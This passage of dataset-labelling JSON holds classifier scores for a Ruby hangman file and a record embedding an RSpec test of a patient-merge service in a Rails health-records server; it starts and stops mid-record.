0.008432311787827107, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9902936299258569, "secondary": 0.9827641087226416, "tertiary": 0.9915630427621135, "structured_records": 0.014076936084809739, "procedural_steps": 0.010337417195255756, "worked_solution": 0.006649592527422316, "contextual_dialogue": 6.983493227680825e-05, "content_quality": 0.3762645736539746, "noise_severity": 0.8453432910921972, "missing_content_severity": 0.7673214143979984, "factual_density": 0.43974348022316756, "pretraining_utility": 0.4467394671784397, "math_density": 0.7811790540678525, "code_density": 0.8773241330462861, "reasoning_density": 0.4378937053408414, "education_level": 0.6639931326924858, "creative_writing_quality": 0.9967492487469312, "primary_topic": 0.933769837616943, "secondary_topic": 0.759555617857698}, "probability_margin": {"primary": 0.9838878605048651, "secondary": 0.9770661914639457, "tertiary": 0.9892944170060104, "education_level": 0.46205149310333304, "creative_writing_quality": 0.9955298980507827, "primary_topic": 0.8764211120702362, "secondary_topic": 0.5823222613918708}, "raw_probabilities": {"primary": {"Academic Writing": 3.0553572637627444e-05, "Content Listing": 2.1818272453953326e-05, "Creative Writing": 0.0005382616221584352, "Customer Support Page": 8.533030797075052e-06, "Q&A Forum": 1.4370639869980487e-05, "Discussion Thread": 9.189002907874858e-06, "Comment Section": 1.5977728070897367e-05, "Missing Content": 3.448132994238498e-05, "Knowledge Article": 6.296916911408981e-05, "Legal Notices": 3.002922287507384e-05, "News Article": 5.928208634753025e-06, "Organizational Announcement": 1.1239816843184042e-05, "Nonfiction Writing": 1.781764551299108e-05, "Organizational About Page": 1.3747462287531532e-05, "Personal About Page": 1.9287050282012596e-05, "Personal Blog": 9.600493109183163e-06, "Product Page": 8.689284907592431e-06, "Spam / Ads": 1.8338001100175882e-05, "Structured Data": 0.0004283720877521436, "Technical Writing": 0.9906980620122795, "Transcript / Interview": 2.5603133602002937e-05, "Tutorial / How-To Guide": 0.0011571176887491662, "User Reviews": 9.81201669784829e-06, "Other / Unknown": 0.00681020150741442}, "secondary": {"Academic Writing": 9.553358569011554e-05, "Content Listing": 6.914489355901536e-05, "Creative Writing": 0.0024219122286636067, "Customer Support Page": 4.1329607719180396e-05, "Q&A Forum": 2.9754422509563916e-05, "Discussion Thread": 2.8091510148722703e-05, "Comment Section": 6.0208651380958914e-05, "Missing Content": 0.0005598069310186962, "Knowledge Article": 0.00017982390022743688, "Legal Notices": 9.527119143812695e-05, "News Article": 4.114759712367598e-05, "Organizational Announcement": 3.8454349942011554e-05, "Nonfiction Writing": 4.526678294123972e-05, "Organizational About Page": 4.660670827177694e-05, "Personal About Page": 5.099411864630227e-05, "Personal Blog": 4.20630289633307e-05, "Product Page": 2.6059893798588197e-05, "Spam / Ads": 5.9537710552040264e-05, "Structured Data": 0.004325281479970505, "Technical Writing": 0.00641607939525261, "Transcript / Interview": 0.00012558515229451966, "Tutorial / How-To Guide": 0.001695844348191394, "User Reviews": 2.393165249824117e-05, "NONE": 0.9834822708591983}, "tertiary": {"Academic Writing": 5.5607009995181045e-05, "Content Listing": 6.675807295094283e-05, "Creative Writing": 0.001395863241462015, "Customer Support Page": 2.8078763564451323e-05, "Q&A Forum": 1.6425671513104822e-05, "Discussion Thread": 1.668756057610264e-05, "Comment Section": 4.144379660425565e-05, "Missing Content": 0.0006326437445249529, "Knowledge Article": 0.0001375992083861724, "Legal Notices": 0.00012009997393696951, "News Article": 3.0535390056978834e-05, "Organizational Announcement": 2.5038062111911185e-05, "Nonfiction Writing": 3.7044533031604755e-05, "Organizational About Page": 4.371090369124165e-05, "Personal About Page": 2.8650499649215104e-05, "Personal Blog": 2.7777187527727923e-05, "Product Page": 2.093708905267511e-05, "Spam / Ads": 4.7087633402331526e-05, "Structured Data": 0.0016302930266157514, "Technical Writing": 0.0026201656410150364, "Transcript / Interview": 0.00011569215757341378, "Tutorial / How-To Guide": 0.0009280248525888059, "User Reviews": 1.925333314366593e-05, "NONE": 0.9919145826470255}, "structured_records": {"false": 0.9859230639151902, "true": 0.014076936084809739}, "procedural_steps": {"false": 0.9896625828047443, "true": 0.010337417195255756}, "worked_solution": {"false": 0.9933504074725776, "true": 0.006649592527422316}, "contextual_dialogue": {"false": 0.9999301650677231, "true": 6.983493227680825e-05}, "content_quality": {"-2": 0.020541457828137846, "-1": 0.11887809525329661, "0": 0.3370305960087476, "1": 0.4114784992943418, "2": 0.11207135161547616}, "noise_severity": {"0": 0.8501184186274912, "1": 0.1272327212171121, "2": 0.012431732176968335, "3": 0.007376646795398274, "4": 0.0028404811830299572}, "missing_content_severity": {"0": 0.7893490871977201, "1": 0.1521528277638744, "2": 0.05056014905563535, "3": 0.0058105670838238185, "4": 0.0021273688989463437}, "factual_density": {"0": 0.012420398980962751, "1": 0.02026993484085058, "2": 0.1181125048874858, "3": 0.3255914135108246, "4": 0.5236057477798762}, "pretraining_utility": {"-2": 0.011140861161121889, "-1": 0.09762975162239666, "0": 0.41314741400724525, "1": 0.41216278097724046, "2": 0.06591919223199572}, "math_density": {"0": 0.8346872782444837, "1": 0.11922292376625195, "2": 0.01627101780203293, "3": 0.008454945000665993, "4": 0.021363835186565313}, "code_density": {"0": 0.00028407825560825716, "1": 0.0005683068917622268, "2": 0.016830189876303088, "3": 0.11070942689413082, "4": 0.8716079980821957}, "reasoning_density": {"0": 0.7152016733370005, "1": 0.0562637110008454, "2": 0.11828269144431516, "3": 0.059309237169841204, "4": 0.050942687047997745}, "education_level": {"none": 0.0023538717818641416, "0": 0.008462724945505866, "1": 0.25794278414040517, "2": 0.7199942772437382, "3": 0.009342126167025504, "4": 0.0019042157214609664}, "creative_writing_quality": {"not_applicable": 0.9972910406224427, "-2": 0.0001755500703994627, "-1": 0.000516863733833895, "0": 0.0017611425716599356, "1": 0.00019871572024196042, "2": 5.668728142199177e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 9.496706480662567e-05, "Art & Design": 0.00017202103954671292, "Law & Crime": 9.922784933182993e-05, "Education & Careers": 0.00013410190962591847, "Entertainment & Media": 0.0005481210037681138, "Fashion & Beauty": 8.152516430291275e-05, "Business, Economics & Finance": 0.00010982165296250278, "Food & Dining": 9.322371672577236e-05, "Games & Gaming": 0.059896039484516675, "Electronics & Hardware": 8.863747145929792e-05, "Health, Healthcare & Wellness": 6.75333867901305e-05, "History & Geography": 0.00010146289937818344, "Home, Pets & Hobbies": 0.00013200151274395764, "Industry & Production": 9.200837467958223e-05, "Language, Literature & Philosophy": 0.00037789936832880567, "Politics & Government": 3.892786006519773e-05, "Religion & Spirituality": 8.000209544832149e-05, "Science, Mathematics & Engineering": 0.0003031003837886349, "Relationships & Community": 6.0676033671611675e-05, "Software Usage & Applications": 0.0005346813576265888, "Programming & Software Engineering": 0.9363171515547529, "Sports & Fitness": 0.00011881087978055445, "Vehicles & Transportation": 4.064195923533106e-05, "Travel & Tourism": 9.158129995531875e-05, "Other / Uncovered Subject": 0.00022449149869260856, "Unknown / Insufficient Content": 0.00010134317801576015}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0008154090315149717, "Art & Design": 0.0006508852033208871, "Law & Crime": 0.0005122148025807329, "Education & Careers": 0.0006057048768914417, "Entertainment & Media": 0.0014797536988945953, "Fashion & Beauty": 0.00027846285442207844, "Business, Economics & Finance": 0.0005299166205989676, "Food & Dining": 0.00033733184451958785, "Games & Gaming": 0.18648121731745415, "Electronics & Hardware": 0.0003733221701722875, "Health, Healthcare & Wellness": 0.0003257602606449773, "History & Geography": 0.00035917179006766166, "Home, Pets & Hobbies": 0.0005686531062558084, "Industry & Production": 0.0002515298018773724, "Language, Literature & Philosophy": 0.001782971426052545, "Politics & Government": 0.00021761987514666572, "Religion & Spirituality": 0.00036742868339919535, "Science, Mathematics & Engineering": 0.0009732674518639096, "Relationships & Community": 0.00022230835918774677, "Software Usage & Applications": 0.0007910016713585512, "Programming & Software Engineering": 0.03185179737693818, "Sports & Fitness": 0.0002964059113055676, "Vehicles & Transportation": 0.00013444065317654388, "Travel & Tourism": 0.00043284761921434217, "Other / Uncovered Subject": 0.000557098883816302, "NONE": 0.768803478709325}}, "probabilities": {"primary": {"Academic Writing": 3.055357263762745e-05, "Content Listing": 2.181827245395333e-05, "Creative Writing": 0.0005382616221584353, "Customer Support Page": 8.533030797075054e-06, "Q&A Forum": 1.4370639869980489e-05, "Discussion Thread": 9.18900290787486e-06, "Comment Section": 1.597772807089737e-05, "Missing Content": 3.448132994238499e-05, "Knowledge Article": 6.296916911408982e-05, "Legal Notices": 3.0029222875073845e-05, "News Article": 5.928208634753026e-06, "Organizational Announcement": 1.1239816843184044e-05, "Nonfiction Writing": 1.7817645512991085e-05, "Organizational About Page": 1.3747462287531534e-05, "Personal About Page": 1.92870502820126e-05, "Personal Blog": 9.600493109183165e-06, "Product Page": 8.689284907592433e-06, "Spam / Ads": 1.8338001100175885e-05, "Structured Data": 0.00042837208775214366, "Technical Writing": 0.9906980620122796, "Transcript / Interview": 2.560313360200294e-05, "Tutorial / How-To Guide": 0.0011571176887491665, "User Reviews": 9.812016697848291e-06, "Other / Unknown": 0.0068102015074144205}, "secondary": {"Academic Writing": 9.553358569011556e-05, "Content Listing": 6.914489355901537e-05, "Creative Writing": 0.002421912228663607, "Customer Support Page": 4.13296077191804e-05, "Q&A Forum": 2.975442250956392e-05, "Discussion Thread": 2.8091510148722707e-05, "Comment Section": 6.020865138095892e-05, "Missing Content": 0.0005598069310186963, "Knowledge Article": 0.0001798239002274369, "Legal Notices": 9.527119143812696e-05, "News Article": 4.114759712367599e-05, "Organizational Announcement": 3.845434994201156e-05, "Nonfiction Writing": 4.5266782941239724e-05, "Organizational About Page": 4.660670827177695e-05, "Personal About Page": 5.0994118646302276e-05, "Personal Blog": 4.206302896333071e-05, "Product Page": 2.60598937985882e-05, "Spam / Ads": 5.953771055204027e-05, "Structured Data": 0.0043252814799705054, "Technical Writing": 0.006416079395252611, "Transcript / Interview": 0.00012558515229451969, "Tutorial / How-To Guide": 0.0016958443481913943, "User Reviews": 2.3931652498241173e-05, "NONE": 0.9834822708591984}, "tertiary": {"Academic Writing": 5.5607009995181045e-05, "Content Listing": 6.675807295094283e-05, "Creative Writing": 0.001395863241462015, "Customer Support Page": 2.8078763564451323e-05, "Q&A Forum": 1.6425671513104822e-05, "Discussion Thread": 1.668756057610264e-05, "Comment Section": 4.144379660425565e-05, "Missing Content": 0.0006326437445249529, "Knowledge Article": 0.0001375992083861724, "Legal Notices": 0.00012009997393696951, "News Article": 3.0535390056978834e-05, "Organizational Announcement": 2.5038062111911185e-05, "Nonfiction Writing": 3.7044533031604755e-05, "Organizational About Page": 4.371090369124165e-05, "Personal About Page": 2.8650499649215104e-05, "Personal Blog": 2.7777187527727923e-05, "Product Page": 2.093708905267511e-05, "Spam / Ads": 4.7087633402331526e-05, "Structured Data": 0.0016302930266157514, "Technical Writing": 0.0026201656410150364, "Transcript / Interview": 0.00011569215757341378, "Tutorial / How-To Guide": 0.0009280248525888059, "User Reviews": 1.925333314366593e-05, "NONE": 0.9919145826470255}, "structured_records": {"false": 0.9859230639151902, "true": 0.014076936084809739}, "procedural_steps": {"false": 0.9896625828047443, "true": 0.010337417195255756}, "worked_solution": {"false": 0.9933504074725776, "true": 0.006649592527422316}, "contextual_dialogue": {"false": 0.9999301650677231, "true": 6.983493227680825e-05}, "content_quality": {"-2": 0.020541457828137846, "-1": 0.11887809525329661, "0": 0.3370305960087476, "1": 0.4114784992943418, "2": 0.11207135161547616}, "noise_severity": {"0": 0.8501184186274914, "1": 0.12723272121711213, "2": 0.012431732176968338, "3": 0.007376646795398276, "4": 0.0028404811830299577}, "missing_content_severity": {"0": 0.7893490871977201, "1": 0.1521528277638744, "2": 0.05056014905563535, "3": 0.0058105670838238185, "4": 0.0021273688989463437}, "factual_density": {"0": 0.012420398980962751, "1": 0.02026993484085058, "2": 0.1181125048874858, "3": 0.3255914135108246, "4": 0.5236057477798762}, "pretraining_utility": {"-2": 0.011140861161121889, "-1": 0.09762975162239666, "0": 0.41314741400724525, "1": 0.41216278097724046, "2": 0.06591919223199572}, "math_density": {"0": 0.8346872782444839, "1": 0.11922292376625196, "2": 0.016271017802032932, "3": 0.008454945000665995, "4": 0.021363835186565316}, "code_density": {"0": 0.00028407825560825716, "1": 0.0005683068917622268, "2": 0.016830189876303088, "3": 0.11070942689413082, "4": 0.8716079980821957}, "reasoning_density": {"0": 0.7152016733370005, "1": 0.0562637110008454, "2": 0.11828269144431516, "3": 0.059309237169841204, "4": 0.050942687047997745}, "education_level": {"none": 0.002353871781864142, "0": 0.008462724945505868, "1": 0.2579427841404052, "2": 0.7199942772437383, "3": 0.009342126167025505, "4": 0.0019042157214609666}, "creative_writing_quality": {"not_applicable": 0.9972910406224428, "-2": 0.00017555007039946272, "-1": 0.0005168637338338951, "0": 0.0017611425716599358, "1": 0.00019871572024196044, "2": 5.668728142199178e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 9.496706480662568e-05, "Art & Design": 0.00017202103954671295, "Law & Crime": 9.922784933182994e-05, "Education & Careers": 0.0001341019096259185, "Entertainment & Media": 0.0005481210037681139, "Fashion & Beauty": 8.152516430291276e-05, "Business, Economics & Finance": 0.0001098216529625028, "Food & Dining": 9.322371672577237e-05, "Games & Gaming": 0.05989603948451668, "Electronics & Hardware": 8.863747145929794e-05, "Health, Healthcare & Wellness": 6.753338679013052e-05, "History & Geography": 0.00010146289937818346, "Home, Pets & Hobbies": 0.00013200151274395767, "Industry & Production": 9.200837467958225e-05, "Language, Literature & Philosophy": 0.0003778993683288057, "Politics & Government": 3.892786006519774e-05, "Religion & Spirituality": 8.00020954483215e-05, "Science, Mathematics & Engineering": 0.00030310038378863493, "Relationships & Community": 6.067603367161168e-05, "Software Usage & Applications": 0.0005346813576265889, "Programming & Software Engineering": 0.936317151554753, "Sports & Fitness": 0.00011881087978055446, "Vehicles & Transportation": 4.0641959235331065e-05, "Travel & Tourism": 9.158129995531876e-05, "Other / Uncovered Subject": 0.0002244914986926086, "Unknown / Insufficient Content": 0.00010134317801576017}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0008154090315149717, "Art & Design": 0.0006508852033208871, "Law & Crime": 0.0005122148025807329, "Education & Careers": 0.0006057048768914417, "Entertainment & Media": 0.0014797536988945953, "Fashion & Beauty": 0.00027846285442207844, "Business, Economics & Finance": 0.0005299166205989676, "Food & Dining": 0.00033733184451958785, "Games & Gaming": 0.18648121731745415, "Electronics & Hardware": 0.0003733221701722875, "Health, Healthcare & Wellness": 0.0003257602606449773, "History & Geography": 0.00035917179006766166, "Home, Pets & Hobbies": 0.0005686531062558084, "Industry & Production": 0.0002515298018773724, "Language, Literature & Philosophy": 0.001782971426052545, "Politics & Government": 0.00021761987514666572, "Religion & Spirituality": 0.00036742868339919535, "Science, Mathematics & Engineering": 0.0009732674518639096, "Relationships & Community": 0.00022230835918774677, "Software Usage & Applications": 0.0007910016713585512, "Programming & Software Engineering": 0.03185179737693818, "Sports & Fitness": 0.0002964059113055676, "Vehicles & Transportation": 0.00013444065317654388, "Travel & Tourism": 0.00043284761921434217, "Other / Uncovered Subject": 0.000557098883816302, "NONE": 0.768803478709325}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9622, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9622, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:35:06.568588+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "a7b443b8-56d6-4d70-a467-091105b9b415", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "71d5ffa779fdd8bcc4e9b0deaa8c07b776eca6798f72c50b121c200a16d79767", "source_metadata": {"uuid": "a7b443b8-56d6-4d70-a467-091105b9b415", "repo_name": "imousterian/OdinProject", "relative_path": "Project2_4_Ruby_FileIO/hangman/hangman.rb", "category": "TOOL", "algo_rel_score": 0.6790351271629333, "quality_score": 3.600397825241089, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 158, "repo_created_at": "2014-02-23T05:35:58.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 2, "forks": 5, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "b3ca9802b5a7f07d7c2c7330c4503d07352ae2ec", "size_bytes": 4369, "file_timestamp": 1425358100, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "9ab2870ba6273a4e56e05704c5ef4a369dd1cbe2"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 158, "repo_created_at": "2014-02-23T05:35:58.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 2, "forks": 5, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "b3ca9802b5a7f07d7c2c7330c4503d07352ae2ec", "size_bytes": 4369, "file_timestamp": 1425358100, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "9ab2870ba6273a4e56e05704c5ef4a369dd1cbe2", "url": "https://github.com/imousterian/OdinProject/blob/9ab2870ba6273a4e56e05704c5ef4a369dd1cbe2/Project2_4_Ruby_FileIO/hangman/hangman.rb"}, "gpt4o_tokens": 1059, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.4756601916157218, "noise_severity": 0.18558805068936346, "missing_content_severity": 0.27921430272240194, "factual_density": 3.3276921762678007, "pretraining_utility": 0.4240896914965915, "math_density": 0.26258513511857706, "code_density": 3.852788959655544, "reasoning_density": 0.6745275535909903, "education_level": 1.7376648202014124, "creative_writing_quality": -0.20519820125472882}, "score_applicability": {"education_level": 0.9976461282181359, "creative_writing_quality": 0.002708959377557246}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/simpledotorg/simple-server/blob/317dfb5ab78559bdc513e89f4eb1b02d7174e07b/spec/services/merge_patient_service_spec.rb", "id": "ruby-0-66c9a33db9ea86b551888b6f96f31d60", "text": "require \"rails_helper\"\n\nRSpec.describe MergePatientService, type: :model do\n describe \"#merge\" do\n let!(:user) { create(:user) }\n let!(:registration_facility) { user.facility }\n let!(:metadata) { {request_facility_id: registration_facility.id, request_user_id: user.id} }\n\n context \"Assigned facility\" do\n context \"when assigned_facility_id param is available\" do\n it \"sets to param assigned_facility_id\" do\n assigned_facility = create(:facility)\n patient_attributes =\n build_patient_payload(\n build(:patient,\n registration_facility: registration_facility,\n assigned_facility: assigned_facility)\n )\n\n payload = Api::V3::PatientTransformer.from_nested_request(patient_attributes)\n merged_patient = described_class.new(payload, request_metadata: metadata).merge\n\n expect(merged_patient[:assigned_facility_id]).to eq(assigned_facility.id)\n end\n end\n\n context \"when assigned_facility_id param is missing\" do\n context \"for new patients\" do\n it \"sets to registration_facility_id from request\" do\n patient = build(:patient)\n patient_attributes = build_patient_payload(patient).except(:assigned_facility_id)\n\n payload = Api::V3::PatientTransformer.from_nested_request(patient_attributes)\n merged_patient = described_class.new(payload, request_metadata: metadata).merge\n\n expect(merged_patient[:assigned_facility_id]).to eq(patient_attributes[:registration_facility_id])\n end\n end\n\n context \"for existing patients\" do\n it \"sets to existing registration_facility_id\" do\n patient = create(:patient, registration_facility: registration_facility)\n patient_attributes = build_patient_payload(patient).except(:assigned_facility_id)\n\n payload = Api::V3::PatientTransformer.from_nested_request(patient_attributes)\n merged_patient = described_class.new(payload, request_metadata: metadata).merge\n\n expect(merged_patient[:assigned_facility_id]).to eq(registration_facility.id)\n end\n end\n end\n end\n\n context \"when deleted_at exists in payload\" do\n it \"calls discard_data if the patient is not already deleted\" do\n patient = create(:patient)\n now = Time.current\n # set the updated_at so that it is treated as an update\n patient_attributes = build_patient_payload(patient)\n .merge(updated_at: now, deleted_at: now, deleted_reason: \"accidental_registration\")\n payload = Api::V3::PatientTransformer.from_nested_request(patient_attributes)\n\n expect_any_instance_of(Patient).to receive(:discard_data)\n merged_patient = described_class.new(payload, request_metadata: metadata).merge\n\n expect(merged_patient.deleted_reason).to eq(\"accidental_registration\")\n end\n\n it \"does not call discard_data if the patient is already deleted\" do\n patient = create(:patient)\n now = Time.current\n # set the updated_at so that it is treated as an update\n patient_attributes = build_patient_payload(patient)\n .merge(updated_at: now, deleted_at: now, deleted_reason: \"unknown\")\n payload = Api::V3::PatientTransformer.from_nested_request(patient_attributes)\n\n # ensuring that the patient on server is already deleted\n Patient.find_by(id: payload[\"id\"]).then do |p|\n p.update(deleted_at: now - 3.hours, deleted_reason: \"duplicate\")\n end\n\n expect_any_instance_of(Patient).not_to receive(:discard_data)\n merged_patient = described_class.new(payload, request_metadata: metadata).merge\n\n expect(merged_patient.deleted_reason).to eq(\"duplicate\")\n end\n end\n\n it \"touches the patient if patient associations are updated\" do\n patient = create(:patient)\n\n updated_phone_numbers = build(:patient_phone_number, patient: patient)\n updated_business_ids = build(:patient_business_identifier, patient: patient)\n updated_address = build(:address)\n updated_attributes =\n build_patient_payload(patient)\n .merge(\n \"phone_numbers\" => [build_patient_phone_number_payload(updated_phone_numbers)],\n \"address\" => updated_address.attributes.with_payload_keys,\n \"business_identifiers\" => [build_business_identifier_payload(updated_business_ids)]\n )\n\n payload = Api::V3::PatientTransformer.from_nested_request(updated_attributes)\n described_class.new(payload, request_metadata: metadata).merge\n\n expect {\n described_class.new(payload, request_metadata: metadata).merge\n patient.reload\n }.to change { patient.updated_at }\n end\n\n it \"sets metadata for a new patient\" do\n new_patient_attrs = build_patient_payload.merge(registration_facility_id: registration_facility.id)\n payload = Api::V3::PatientTransformer.from_nested_request(new_patient_attrs)\n\n merged_patient = described_class.new(payload, request_metadata: metadata).merge\n\n expect(merged_patient.registration_user).to eq(user)\n expect(merged_patient.registration_facility).to eq(registration_facility)\n end\n\n it \"doesn't update metadata for existing patient\" do\n existing_patient = create(:patient)\n existing_patient_attrs = build_patient_payload(existing_patient)\n payload = Api::V3::PatientTransformer.from_nested_request(existing_patient_attrs)\n\n merged_patient = described_class.new(payload, request_metadata: metadata).merge\n\n expect(merged_patient.registration_user).to eq(existing_patient.registration_user)\n expect(merged_patient.registration_facility).to eq(existing_patient.registration_facility)\n end\n end\nend\n", "text_preview": "require \"rails_helper\" RSpec.describe MergePatientService, type: :model do describe \"#merge\" do let!(:user) { create(:user) } let!(:registration_facility) { user.facility } let!(:metadata) { {request_facility_id: registration_facility.id, r", "input_sha256": "fdedcf7208757f23c2b1817634d2fb7d640478898ddd33d90a7b142f08a66590", "text_sha256": "66c9a33db9ea86b551888b6f96f31d600b2e3026e55bf5de645ed97817289df9", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16085, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.3611919500482, "noise_severity": 0.023508404779109676, "missing_content_severity": 0.0026818627212873243, "factual_density": 3.3220979245312496, "pretraining_utility": 0.5228478553998795, "math_density": 0.028011500321306643, "code_density": 3.917700508525711, "reasoning_density": 1.453875103553523, "education_level": 2.791984159218715, "creative_writing_quality": -0.17708661014637592}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.01844861420379207, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9908857572402868, "secondary": 0.9598623627120977, "tertiary": 0.9791130905769242, "structured_records": 0.13447848770085302, "procedural_steps": 0.011174816413880049, "worked_solution": 0.22193837533920327, "contextual_dialogue": 7.876369939160841e-06, "content_quality": 0.5617461906060456, "noise_severity": 0.9804096626840753, "missing_content_severity": 0.9977651143989272, "factual_density": 0.4350816037760411, "pretraining_utility": 0.453746738478056, "math_density": 0.9766570830655777, "code_density": 0.9314170904380923, "reasoning_density": 0.0, "education_level": 0.4810823702155589, "creative_writing_quality": 0.9994162358228188, "primary_topic": 0.9820575341325557, "secondary_topic": 0.8439044260269628}, "probability_margin": {"primary": 0.9856289184596372, "secondary": 0.9381014419625888, "tertiary": 0.9679285615826496, "education_level": 0.2560436483406814, "creative_writing_quality": 0.9992632693229812, "primary_topic": 0.9683857473597819, "secondary_topic": 0.7471576928765737}, "raw_probabilities": {"primary": {"Academic Writing": 7.35132810486705e-05, "Content Listing": 2.9514545515133197e-05, "Creative Writing": 2.2783236088517983e-05, "Customer Support Page": 1.38970418843234e-05, "Q&A Forum": 1.7837196190946287e-05, "Discussion Thread": 1.2759941688008444e-05, "Comment Section": 1.794115373036743e-05, "Missing Content": 2.521826245799924e-05, "Knowledge Article": 9.450357583739366e-05, "Legal Notices": 4.9921305756481425e-05, "News Article": 7.459009163158044e-06, "Organizational Announcement": 1.6091781483061764e-05, "Nonfiction Writing": 1.8431749687982422e-05, "Organizational About Page": 1.679642128340012e-05, "Personal About Page": 1.1959172110790797e-05, "Personal Blog": 8.878098111889746e-06, "Product Page": 1.0796599887177515e-05, "Spam / Ads": 1.8058155467733907e-05, "Structured Data": 0.0023158668058756993, "Technical Writing": 0.9912655173552749, "Transcript / Interview": 3.207475781005019e-05, "Tutorial / How-To Guide": 0.0002743400087869743, "User Reviews": 9.241649221446348e-06, "Other / Unknown": 0.005636598895637776}, "secondary": {"Academic Writing": 0.00019234058513367306, "Content Listing": 0.00010363501071130728, "Creative Writing": 0.00013720880575881887, "Customer Support Page": 7.045446469548794e-05, "Q&A Forum": 5.9325439137922374e-05, "Discussion Thread": 5.489611021286223e-05, "Comment Section": 0.00011450757655061458, "Missing Content": 0.00023973668523508498, "Knowledge Article": 0.0006806383509380291, "Legal Notices": 0.00017359960157475413, "News Article": 8.0154255267137e-05, "Organizational Announcement": 7.493164929834585e-05, "Nonfiction Writing": 8.489714430195954e-05, "Organizational About Page": 7.935699166053233e-05, "Personal About Page": 6.201344141002908e-05, "Personal Blog": 5.945071988358277e-05, "Product Page": 4.1735942755293265e-05, "Spam / Ads": 9.785589802434373e-05, "Structured Data": 